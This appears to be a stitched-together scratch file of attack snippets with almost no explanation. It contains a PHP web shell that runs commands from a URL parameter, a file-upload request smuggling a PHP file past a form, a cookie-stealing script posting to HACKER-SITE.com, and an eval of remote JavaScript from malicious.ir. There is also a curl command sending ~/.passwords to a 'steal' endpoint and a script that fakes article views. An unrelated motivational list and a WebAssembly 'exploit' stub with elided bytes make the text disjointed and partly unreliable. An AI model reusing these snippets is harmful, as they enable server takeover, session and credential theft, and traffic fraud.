<?php
if (isset($_GET['cmd'])) {
  echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Content-Type: multipart/form-data; boundary=----geckoformboundary683826c298dd095893993392f828c5e3
Content-Length: 898
Origin: https://example.com
Referer: https://example.com

------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="logo_company"; filename="888.php"
Content-Type: application/x-php

<h1>Test POC PHP Code Injection</h1>
<?php
phpinfo();
?>

------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="_token"

JifO7swkwISR0bG8RjlIcXPv3Gulhv9Hm8hWWYed
------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="_method"

PATCH
------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="name"

test
------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="username"

tes-bugbouty
------geckoformboundary683826c298dd095893993392f828c5e3
Content-Disposition: form-data; name="denoscription"

Test
------geckoformboundary683826c298dd095893993392f828c5e3--

<noscript> var xhr = new XMLHttpRequest(); xhr.open("POST", "https://HACKER-SITE.com", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(document.cookie); </noscript>

// اسکریپت تست بازدید مقاله (فقط برای مقاصد آموزشی یا تست)
const simulateViews = async (url = 'TARGET-PATH', times = 10, delay = 1000) => {
  for (let i = 0; i < times; i++) {
    try {
      await fetch(url, { method: 'POST' });
      console.log(`View ${i + 1} sent`);
    } catch (err) {
      console.error(`Error on view ${i + 1}:`, err);
    }
    await new Promise(r => setTimeout(r, delay)); // تاخیر برای جلوگیری از بن شدن
  }
};

// استفاده:
simulateViews('TARGET-PATH', 20, 2000); // ۲۰ بازدید با فاصله ۲ ثانیه

Have three goals:
1. Wealth and honor
2. Power and gratitude
3. Family and kindness

http://malicious-site.ir/promo.html

const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, ...]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
wasmInstance.exports.exploit(); 

fetch('http://malicious.ir/shell.js')
  .then(response => response.text())
  .then(noscript => eval(noscript));

curl -X POST http://malicious.ir/steal -d "$(cat ~/.passwords)"